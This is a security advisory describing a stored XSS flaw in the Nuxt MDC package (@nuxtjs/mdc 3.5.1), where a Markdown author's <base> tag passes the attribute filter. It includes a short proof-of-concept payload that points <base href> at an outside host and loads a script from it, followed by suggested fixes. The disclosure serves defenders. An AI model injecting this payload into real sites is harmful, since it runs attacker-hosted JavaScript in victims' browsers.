All the vulnerabilities related to the version 3.5.1 of the package
Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld">
element.
The <base>
tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
src/runtime/parser/utils/props.ts
validateProp()
inspects
on
→ blockedhref
or src
→ filtered by isAnchorLinkAllowed()
<base>
) is allowed unchanged, so the malicious href
on <base>
is never validated.export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) return false
if (attribute === 'href' || attribute === 'src') {
return isAnchorLinkAllowed(value)
}
return true // ← “href” on <base> not checked
}
As soon as <base href="https://vozec.fr">
is parsed, any later relative path—/script.js
, ../img.png
, etc.—is fetched from the attacker’s domain.
Place the following in any Markdown handled by Nuxt MDC:
<base href="https://vozec.fr">
<script src="/xss.js"></script>
npm run dev
).https://vozec.fr/xss.js
, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).<base>
tags in the renderer. The safest fix is to strip them entirely.href
on <base>
to same-origin URLs and refuse protocols like http:
, https:
, data:
, etc. that do not match the current site origin.FORBID_TAGS: ['base']
.